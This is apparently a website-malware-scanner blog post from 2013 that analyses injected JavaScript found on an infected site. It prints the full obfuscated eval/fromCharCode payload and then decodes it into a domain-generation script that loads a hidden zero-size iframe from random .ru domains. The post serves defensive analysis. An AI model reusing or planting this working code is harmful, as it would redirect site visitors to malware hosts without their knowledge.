Malicious JavaScript generates hidden iframe to random .ru domains
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor. Upon accessing the infected website user's web browser downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 1 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Mon Apr 15 22:50:26 2013
Infected website's files: 1
[[
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
/*km0ae9gr6m*/window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48,44,49,57,56,44,49,49,54,44,50,49,48,44,49,49,49,44,50,50,48,44,51,50,44,50,50,48,44,49,48,49,44,50,52,48,44,49,49,54,44,49,54,52,44,57,55,44,50,50,48,44,49,48,48,44,50,50,50,44,49,48,57,44,49,53,54,44,49,49,55,44,50,49,56,44,57,56,44,50,48,50,44,49,49,52,44,56,48,44,52,49,44,50,52,54,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,48,52,44,50,49,48,44,54,49,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,49,49,53,44,50,48,50,44,49,48,49,44,50,48,48,44,52,55,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,56,49,44,49,49,56,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,48,56,44,50,50,50,44,54,49,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,49,49,53,44,50,48,50,44,49,48,49,44,50,48,48,44,51,55,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,56,49,44,49,49,56,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,49,54,44,50,48,50,44,49,49,53,44,50,51,50,44,54,49,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,54,53,44,56,52,44,49,48,56,44,50,50,50,44,52,53,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,56,50,44,56,52,44,49,48,52,44,50,49,48,44,53,57,44,50,49,48,44,49,48,50,44,56,48,44,49,49,54,44,50,48,50,44,49,49,53,44,50,51,50,44,54,50,44,57,54,44,52,49,44,50,52,54,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,50,51,48,44,49,48,49,44,50,48,50,44,49,48,48,44,49,50,50,44,49,49,54,44,50,48,50,44,49,49,53,44,50,51,50,44,49,50,53,44,50,48,50,44,49,48,56,44,50,51,48,44,49,48,49,44,50,52,54,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,50,51,48,44,49,48,49,44,50,48,50,44,49,48,48,44,49,50,50,44,49,49,54,44,50,48,50,44,49,49,53,44,50,51,50,44,52,51,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,55,55,44,50,53,48,44,49,49,52,44,50,48,50,44,49,49,54,44,50,51,52,44,49,49,52,44,50,50,48,44,52,48,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,49,49,53,44,50,48,50,44,49,48,49,44,50,48,48,44,52,50,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,49,49,49,44,50,50,48,44,49,48,49,44,49,53,56,44,49,49,56,44,50,48,50,44,49,49,52,44,49,53,52,44,52,49,44,50,53,48,44,49,48,50,44,50,51,52,44,49,49,48,44,49,57,56,44,49,49,54,44,50,49,48,44,49,49,49,44,50,50,48,44,51,50,44,49,54,52,44,57,55,44,50,50,48,44,49,48,48,44,50,50,50,44,49,48,57,44,49,53,54,44,49,49,55,44,50,49,56,44,57,56,44,50,48,50,44,49,49,52,44,49,52,50,44,49,48,49,44,50,50,48,44,49,48,49,44,50,50,56,44,57,55,44,50,51,50,44,49,49,49,44,50,50,56,44,52,48,44,50,51,52,44,49,49,48,44,50,49,48,44,49,50,48,44,56,50,44,49,50,51,44,50,51,54,44,57,55,44,50,50,56,44,51,50,44,50,48,48,44,54,49,44,50,50,48,44,49,48,49,44,50,51,56,44,51,50,44,49,51,54,44,57,55,44,50,51,50,44,49,48,49,44,56,48,44,49,49,55,44,50,50,48,44,49,48,53,44,50,52,48,44,52,50,44,57,56,44,52,56,44,57,54,44,52,56,44,56,50,44,53,57,44,50,51,54,44,57,55,44,50,50,56,44,51,50,44,50,51,48,44,54,49,44,50,48,48,44,52,54,44,50,48,54,44,49,48,49,44,50,51,50,44,55,50,44,50,50,50,44,49,49,55,44,50,50,56,44,49,49,53,44,56,48,44,52,49,44,49,50,52,44,52,57,44,49,48,48,44,54,51,44,57,56,44,53,56,44,57,54,44,53,57,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,49,49,53,44,50,48,50,44,49,48,49,44,50,48,48,44,54,49,44,49,48,48,44,53,49,44,49,48,52,44,53,51,44,49,48,56,44,53,53,44,49,49,50,44,53,55,44,57,54,44,52,57,44,56,54,44,52,48,44,50,48,48,44,52,54,44,50,48,54,44,49,48,49,44,50,51,50,44,55,55,44,50,50,50,44,49,49,48,44,50,51,50,44,49,48,52,44,56,48,44,52,49,44,56,52,44,52,56,44,50,52,48,44,55,48,44,49,52,48,44,55,48,44,49,52,48,44,55,48,44,49,52,48,44,52,49,44,56,54,44,52,48,44,50,48,48,44,52,54,44,50,48,54,44,49,48,49,44,50,51,50,44,54,56,44,49,57,52,44,49,49,54,44,50,48,50,44,52,48,44,56,50,44,52,50,44,57,54,44,49,50,48,44,49,52,48,44,55,48,44,49,52,48,44,55,48,44,56,50,44,52,51,44,56,48,44,55,55,44,49,57,52,44,49,49,54,44,50,48,56,44,52,54,44,50,50,56,44,49,49,49,44,50,51,52,44,49,49,48,44,50,48,48,44,52,48,44,50,51,48,44,52,50,44,57,54,44,49,50,48,44,49,52,48,44,55,48,44,49,52,48,44,52,49,44,56,50,44,53,57,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,54,53,44,49,50,50,44,53,50,44,49,49,50,44,53,48,44,49,49,48,44,52,57,44,49,49,56,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,49,53,52,44,54,49,44,49,48,48,44,52,57,44,49,48,52,44,53,53,44,49,48,52,44,53,54,44,49,48,50,44,53,52,44,49,48,52,44,53,53,44,49,49,56,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,49,54,50,44,54,49,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,55,55,44,57,52,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,49,51,48,44,53,57,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,56,50,44,49,50,50,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,49,53,52,44,51,55,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,54,53,44,49,49,56,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,50,50,50,44,49,49,48,44,50,48,50,44,55,57,44,50,51,54,44,49,48,49,44,50,50,56,44,55,55,44,49,50,50,44,52,57,44,57,50,44,52,56,44,57,52,44,49,49,54,44,50,48,56,44,49,48,53,44,50,51,48,44,52,54,44,49,53,52,44,53,57,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,57,50,44,49,49,48,44,50,48,50,44,49,50,48,44,50,51,50,44,54,49,44,50,50,48,44,49,48,49,44,50,52,48,44,49,49,54,44,49,54,52,44,57,55,44,50,50,48,44,49,48,48,44,50,50,50,44,49,48,57,44,49,53,54,44,49,49,55,44,50,49,56,44,57,56,44,50,48,50,44,49,49,52,44,49,49,56,44,49,49,52,44,50,48,50,44,49,49,54,44,50,51,52,44,49,49,52,44,50,50,48,44,51,50,44,50,51,50,44,49,48,52,44,50,49,48,44,49,49,53,44,50,53,48,44,49,48,50,44,50,51,52,44,49,49,48,44,49,57,56,44,49,49,54,44,50,49,48,44,49,49,49,44,50,50,48,44,51,50,44,49,57,56,44,49,49,52,44,50,48,50,44,57,55,44,50,51,50,44,49,48,49,44,49,54,52,44,57,55,44,50,50,48,44,49,48,48,44,50,50,50,44,49,48,57,44,49,53,54,44,49,49,55,44,50,49,56,44,57,56,44,50,48,50,44,49,49,52,44,56,48,44,49,49,52,44,56,56,44,55,55,44,50,49,48,44,49,49,48,44,56,56,44,55,55,44,49,57,52,44,49,50,48,44,56,50,44,49,50,51,44,50,50,56,44,49,48,49,44,50,51,50,44,49,49,55,44,50,50,56,44,49,49,48,44,54,52,44,55,55,44,49,57,52,44,49,49,54,44,50,48,56,44,52,54,44,50,50,56,44,49,49,49,44,50,51,52,44,49,49,48,44,50,48,48,44,52,48,44,56,48,44,55,55,44,49,57,52,44,49,50,48,44,57,48,44,55,55,44,50,49,48,44,49,49,48,44,56,50,44,52,50,44,50,50,56,44,52,54,44,50,50,48,44,49,48,49,44,50,52,48,44,49,49,54,44,56,48,44,52,49,44,56,54,44,55,55,44,50,49,48,44,49,49,48,44,56,50,44,49,50,53,44,50,48,52,44,49,49,55,44,50,50,48,44,57,57,44,50,51,50,44,49,48,53,44,50,50,50,44,49,49,48,44,54,52,44,49,48,51,44,50,48,50,44,49,49,48,44,50,48,50,44,49,49,52,44,49,57,52,44,49,49,54,44,50,48,50,44,56,48,44,50,51,48,44,49,48,49,44,50,51,52,44,49,48,48,44,50,50,50,44,56,50,44,49,57,52,44,49,49,48,44,50,48,48,44,49,49,49,44,50,49,56,44,56,51,44,50,51,50,44,49,49,52,44,50,49,48,44,49,49,48,44,50,48,54,44,52,48,44,50,51,52,44,49,49,48,44,50,49,48,44,49,50,48,44,56,56,44,49,48,56,44,50,48,50,44,49,49,48,44,50,48,54,44,49,49,54,44,50,48,56,44,52,52,44,50,52,52,44,49,49,49,44,50,50,48,44,49,48,49,44,56,50,44,49,50,51,44,50,51,54,44,57,55,44,50,50,56,44,51,50,44,50,50,56,44,57,55,44,50,50,48,44,49,48,48,44,49,50,50,44,49,49,48,44,50,48,50,44,49,49,57,44,54,52,44,56,50,44,49,57,52,44,49,49,48,44,50,48,48,44,49,49,49,44,50,49,56,44,55,56,44,50,51,52,44,49,48,57,44,49,57,54,44,49,48,49,44,50,50,56,44,55,49,44,50,48,50,44,49,49,48,44,50,48,50,44,49,49,52,44,49,57,52,44,49,49,54,44,50,50,50,44,49,49,52,44,56,48,44,49,49,55,44,50,50,48,44,49,48,53,44,50,52,48,44,52,49,44,49,49,56,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,48,56,44,50,48,50,44,49,49,54,44,50,51,50,44,49,48,49,44,50,50,56,44,49,49,53,44,49,50,50,44,57,49,44,55,56,44,57,55,44,55,56,44,52,52,44,55,56,44,57,56,44,55,56,44,52,52,44,55,56,44,57,57,44,55,56,44,52,52,44,55,56,44,49,48,48,44,55,56,44,52,52,44,55,56,44,49,48,49,44,55,56,44,52,52,44,55,56,44,49,48,50,44,55,56,44,52,52,44,55,56,44,49,48,51,44,55,56,44,52,52,44,55,56,44,49,48,52,44,55,56,44,52,52,44,55,56,44,49,48,53,44,55,56,44,52,52,44,55,56,44,49,48,54,44,55,56,44,52,52,44,55,56,44,49,48,55,44,55,56,44,52,52,44,55,56,44,49,48,56,44,55,56,44,52,52,44,55,56,44,49,48,57,44,55,56,44,52,52,44,55,56,44,49,49,48,44,55,56,44,52,52,44,55,56,44,49,49,49,44,55,56,44,52,52,44,55,56,44,49,49,50,44,55,56,44,52,52,44,55,56,44,49,49,51,44,55,56,44,52,52,44,55,56,44,49,49,52,44,55,56,44,52,52,44,55,56,44,49,49,53,44,55,56,44,52,52,44,55,56,44,49,49,54,44,55,56,44,52,52,44,55,56,44,49,49,55,44,55,56,44,52,52,44,55,56,44,49,49,56,44,55,56,44,52,52,44,55,56,44,49,49,57,44,55,56,44,52,52,44,55,56,44,49,50,48,44,55,56,44,52,52,44,55,56,44,49,50,49,44,55,56,44,52,52,44,55,56,44,49,50,50,44,55,56,44,57,51,44,49,49,56,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,49,53,44,50,51,50,44,49,49,52,44,49,50,50,44,51,57,44,55,56,44,53,57,44,50,48,52,44,49,49,49,44,50,50,56,44,52,48,44,50,51,54,44,57,55,44,50,50,56,44,51,50,44,50,49,48,44,54,49,44,57,54,44,53,57,44,50,49,48,44,54,48,44,50,49,54,44,49,48,49,44,50,50,48,44,49,48,51,44,50,51,50,44,49,48,52,44,49,49,56,44,49,48,53,44,56,54,44,52,51,44,56,50,44,49,50,51,44,50,51,48,44,49,49,54,44,50,50,56,44,52,51,44,49,50,50,44,49,48,56,44,50,48,50,44,49,49,54,44,50,51,50,44,49,48,49,44,50,50,56,44,49,49,53,44,49,56,50,44,57,57,44,50,50,56,44,49,48,49,44,49,57,52,44,49,49,54,44,50,48,50,44,56,50,44,49,57,52,44,49,49,48,44,50,48,48,44,49,49,49,44,50,49,56,44,55,56,44,50,51,52,44,49,48,57,44,49,57,54,44,49,48,49,44,50,50,56,44,52,48,44,50,50,56,44,57,55,44,50,50,48,44,49,48,48,44,56,56,44,52,56,44,56,56,44,49,48,56,44,50,48,50,44,49,49,54,44,50,51,50,44,49,48,49,44,50,50,56,44,49,49,53,44,57,50,44,49,48,56,44,50,48,50,44,49,49,48,44,50,48,54,44,49,49,54,44,50,48,56,44,52,53,44,57,56,44,52,49,44,49,56,54,44,49,50,53,44,50,50,56,44,49,48,49,44,50,51,50,44,49,49,55,44,50,50,56,44,49,49,48,44,54,52,44,49,49,53,44,50,51,50,44,49,49,52,44,56,54,44,51,57,44,57,50,44,51,57,44,56,54,44,49,50,50,44,50,50,50,44,49,49,48,44,50,48,50,44,49,50,53,44,50,51,48,44,49,48,49,44,50,51,50,44,56,52,44,50,49,48,44,49,48,57,44,50,48,50,44,49,49,49,44,50,51,52,44,49,49,54,44,56,48,44,49,48,50,44,50,51,52,44,49,49,48,44,49,57,56,44,49,49,54,44,50,49,48,44,49,49,49,44,50,50,48,44,52,48,44,56,50,44,49,50,51,44,50,51,50,44,49,49,52,44,50,52,50,44,49,50,51,44,50,49,48,44,49,48,50,44,56,48,44,49,49,54,44,50,52,50,44,49,49,50,44,50,48,50,44,49,49,49,44,50,48,52,44,51,50,44,50,49,48,44,49,48,50,44,50,50,56,44,57,55,44,50,49,56,44,49,48,49,44,49,55,52,44,57,55,44,50,51,48,44,54,55,44,50,50,56,44,49,48,49,44,49,57,52,44,49,49,54,44,50,48,50,44,49,48,48,44,49,48,48,44,54,49,44,49,50,50,44,51,52,44,50,51,52,44,49,49,48,44,50,48,48,44,49,48,49,44,50,48,52,44,49,48,53,44,50,50,48,44,49,48,49,44,50,48,48,44,51,52,44,56,50,44,49,50,51,44,50,49,48,44,49,48,50,44,50,50,56,44,57,55,44,50,49,56,44,49,48,49,44,49,55,52,44,57,55,44,50,51,48,44,54,55,44,50,50,56,44,49,48,49,44,49,57,52,44,49,49,54,44,50,48,50,44,49,48,48,44,49,48,48,44,54,49,44,50,51,50,44,49,49,52,44,50,51,52,44,49,48,49,44,49,49,56,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,49,55,44,50,50,48,44,49,48,53,44,50,52,48,44,54,49,44,49,53,52,44,57,55,44,50,51,50,44,49,48,52,44,57,50,44,49,49,52,44,50,50,50,44,49,49,55,44,50,50,48,44,49,48,48,44,56,48,44,52,51,44,50,50,48,44,49,48,49,44,50,51,56,44,51,50,44,49,51,54,44,57,55,44,50,51,50,44,49,48,49,44,56,48,44,52,49,44,57,52,44,52,57,44,57,54,44,52,56,44,57,54,44,52,49,44,49,49,56,44,49,49,56,44,49,57,52,44,49,49,52,44,54,52,44,49,48,48,44,50,50,50,44,49,48,57,44,49,57,52,44,49,48,53,44,50,50,48,44,55,56,44,49,57,52,44,49,48,57,44,50,48,50,44,54,49,44,50,48,54,44,49,48,49,44,50,50,48,44,49,48,49,44,50,50,56,44,57,55,44,50,51,50,44,49,48,49,44,49,54,48,44,49,49,53,44,50,48,50,44,49,49,55,44,50,48,48,44,49,49,49,44,49,54,52,44,57,55,44,50,50,48,44,49,48,48,44,50,50,50,44,49,48,57,44,49,54,54,44,49,49,54,44,50,50,56,44,49,48,53,44,50,50,48,44,49,48,51,44,56,48,44,49,49,55,44,50,50,48,44,49,48,53,44,50,52,48,44,52,52,44,57,56,44,53,52,44,56,56,44,51,57,44,50,50,56,44,49,49,55,44,55,56,44,52,49,44,49,49,56,44,49,48,53,44,50,48,52,44,49,49,52,44,50,49,56,44,54,49,44,50,48,48,44,49,49,49,44,49,57,56,44,49,49,55,44,50,49,56,44,49,48,49,44,50,50,48,44,49,49,54,44,57,50,44,57,57,44,50,50,56,44,49,48,49,44,49,57,52,44,49,49,54,44,50,48,50,44,54,57,44,50,49,54,44,49,48,49,44,50,49,56,44,49,48,49,44,50,50,48,44,49,49,54,44,56,48,44,51,52,44,49,52,54,44,55,48,44,49,54,52,44,54,53,44,49,53,52,44,54,57,44,54,56,44,52,49,44,49,49,56,44,49,48,53,44,50,48,52,44,49,49,52,44,50,49,56,44,52,54,44,50,51,48,44,49,48,49,44,50,51,50,44,54,53,44,50,51,50,44,49,49,54,44,50,50,56,44,49,48,53,44,49,57,54,44,49,49,55,44,50,51,50,44,49,48,49,44,56,48,44,51,52,44,50,51,48,44,49,49,52,44,49,57,56,44,51,52,44,56,56,44,51,52,44,50,48,56,44,49,49,54,44,50,51,50,44,49,49,50,44,49,49,54,44,52,55,44,57,52,44,51,52,44,56,54,44,49,48,48,44,50,50,50,44,49,48,57,44,49,57,52,44,49,48,53,44,50,50,48,44,55,56,44,49,57,52,44,49,48,57,44,50,48,50,44,52,51,44,54,56,44,52,55,44,50,50,56,44,49,49,55,44,50,50,48,44,49,48,50,44,50,50,50,44,49,49,52,44,50,48,50,44,49,49,53,44,50,51,50,44,49,49,52,44,50,51,52,44,49,49,48,44,49,50,54,44,49,49,53,44,50,49,48,44,49,48,48,44,49,50,50,44,57,57,44,50,52,48,44,51,52,44,56,50,44,53,57,44,50,49,48,44,49,48,50,44,50,50,56,44,49,48,57,44,57,50,44,49,49,53,44,50,51,50,44,49,50,49,44,50,49,54,44,49,48,49,44,57,50,44,49,49,57,44,50,49,48,44,49,48,48,44,50,51,50,44,49,48,52,44,49,50,50,44,51,52,44,57,54,44,49,49,50,44,50,52,48,44,51,52,44,49,49,56,44,49,48,53,44,50,48,52,44,49,49,52,44,50,49,56,44,52,54,44,50,51,48,44,49,49,54,44,50,52,50,44,49,48,56,44,50,48,50,44,52,54,44,50,48,56,44,49,48,49,44,50,49,48,44,49,48,51,44,50,48,56,44,49,49,54,44,49,50,50,44,51,52,44,57,54,44,49,49,50,44,50,52,48,44,51,52,44,49,49,56,44,49,48,53,44,50,48,52,44,49,49,52,44,50,49,56,44,52,54,44,50,51,48,44,49,49,54,44,50,52,50,44,49,48,56,44,50,48,50,44,52,54,44,50,51,54,44,49,48,53,44,50,51,48,44,49,48,53,44,49,57,54,44,49,48,53,44,50,49,54,44,49,48,53,44,50,51,50,44,49,50,49,44,49,50,50,44,51,52,44,50,48,56,44,49,48,53,44,50,48,48,44,49,48,48,44,50,48,50,44,49,49,48,44,54,56,44,53,57,44,50,48,48,44,49,49,49,44,49,57,56,44,49,49,55,44,50,49,56,44,49,48,49,44,50,50,48,44,49,49,54,44,57,50,44,57,56,44,50,50,50,44,49,48,48,44,50,52,50,44,52,54,44,49,57,52,44,49,49,50,44,50,50,52,44,49,48,49,44,50,50,48,44,49,48,48,44,49,51,52,44,49,48,52,44,50,49,48,44,49,48,56,44,50,48,48,44,52,48,44,50,49,48,44,49,48,50,44,50,50,56,44,49,48,57,44,56,50,44,49,50,53,44,50,53,48,44,57,57,44,49,57,52,44,49,49,54,44,49,57,56,44,49,48,52,44,56,48,44,49,48,49,44,56,50,44,49,50,51,44,50,53,48,44,49,50,53,44,56,56,44,53,51,44,57,54,44,52,56,44,56,50,44,53,57,93,59,118,61,34,101,34,43,34,118,34,43,34,97,34,59,125,105,102,40,118,41,101,61,119,105,110,100,111,119,91,118,43,34,108,34,93,59,116,114,121,123,113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,98,34,41,59,105,102,40,101,41,113,46,97,112,112,101,110,100,67,104,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59));/*qhk6sa6g1c*/]]
Malware entry
Malware entry details.
Beautified script
- var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
- document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
- window.eval(String.fromCharCode(105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101,45, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 61, 91, 49, 48, 50, 44, ... 116, 114, 121, 123, 113,61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40,34, 98, 34, 41, 59, 105, 102, 40, 101, 41, 113, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113,43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104, 40, 102, 119, 98, 101, 119, 101, 41, 123, 119, 61, 102, 59, 115,61, 91, 93, 59, 125, 13, 10, 114, 61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111,100, 101, 34, 58, 34, 34, 41, 59, 102, 111, 114, 40, 59, 49, 51, 51, 51, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61,49, 41, 123, 106, 61, 105, 59, 105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 46, 102, 114, 111, 109, 67, 104, 97,114, 67, 111, 100, 101, 40, 40, 119, 91, 106, 93, 47, 40, 50, 45, 49, 43, 106, 37, 50, 41, 41, 41, 59, 125, 13,10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59));
Second level of decryption
- i = 0;
- try {
- prototype - 5;
- } catch (z) {
- f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, ... 210,108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96,48, 82, 59];
- v = "e" + "v" + "a";
- }
- if (v) e = window[v + "l"];
- try {
- q = document.createElement("b");
- if (e) q.appendChild(q + "");
- } catch (fwbewe) {
- w = f;
- s = [];
- }
- r = String;
- z = ((e) ? "Code" : "");
- for (; 1333 - 5 + 5 > i; i += 1) {
- j = i;
- if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2)));
- }
- if (f) e(s);
Simplified version of malicious code
- s = "";
- i = 0;
- f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 2....];
- for (; 1333 - 5 + 5 > i; i += 1) { s = s + String.fromCharCode((f[i] / (2 - 1 + i % 2)));}
- eval(s);
Malicious payload
Decoded payload generates script that creates hidden iframes to random domains in *.ru e.g http://<random-domain-name>.ru/runforestrun?sid=cx
Each time to new malicious domain.
The website is Suspicious on Google Safe Browsing.
Each time to new malicious domain.
-
function nextRandomNumber() {
-
var hi = this.seed / this.Q;
-
var lo = this.seed % this.Q;
-
var test = this.A * lo - this.R * hi;
-
if (test > 0) {
-
this.seed = test
-
} else {
-
this.seed = test + this.M
-
}
-
return (this.seed * this.oneOverM)
-
}
-
function RandomNumberGenerator(unix) {
-
var d = new Date(unix * 1000);
-
var s = d.getHours() > 12 ? 1 : 0;
-
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
-
this.A = 48271;
-
this.M = 2147483647;
-
this.Q = this.M / this.A;
-
this.R = this.M % this.A;
-
this.oneOverM = 1.0 / this.M;
-
this.next = nextRandomNumber;
-
return this
-
}
-
function createRandomNumber(r, Min, Max) {
-
return Math.round((Max - Min) * r.next() + Min)
-
}
-
function generatePseudoRandomString(unix, length, zone) {
-
var rand = new RandomNumberGenerator(unix);
-
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];
-
var str = '';
-
for (var i = 0; i < length; i++) {
-
str += letters[createRandomNumber(rand, 0, letters.length - 1)]
-
}
-
return str + '.' + zone
-
}
-
setTimeout(function () {
-
try {
-
if (typeof iframeWasCreated2 == "undefined") {
-
iframeWasCreated2 = true;
-
var unix = Math.round(+new Date() / 1000);
-
var domainName = generatePseudoRandomString(unix, 16, 'ru');
-
ifrm = document.createElement("IFRAME");
-
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
-
ifrm.style.width = "0px";
-
ifrm.style.height = "0px";
-
ifrm.style.visibility = "hidden";
-
document.body.appendChild(ifrm)
-
}
-
} catch (e) {}
-
}, 500);
function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test
} else {
this.seed = test + this.M
}
return (this.seed * this.oneOverM)
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min)
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)]
}
return str + '.' + zone
}
setTimeout(function () {
try {
if (typeof iframeWasCreated2 == "undefined") {
iframeWasCreated2 = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm)
}
} catch (e) {}
}, 500);
Blacklisting status
The website is Suspicious on Google Safe Browsing.
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
No comments:
Post a Comment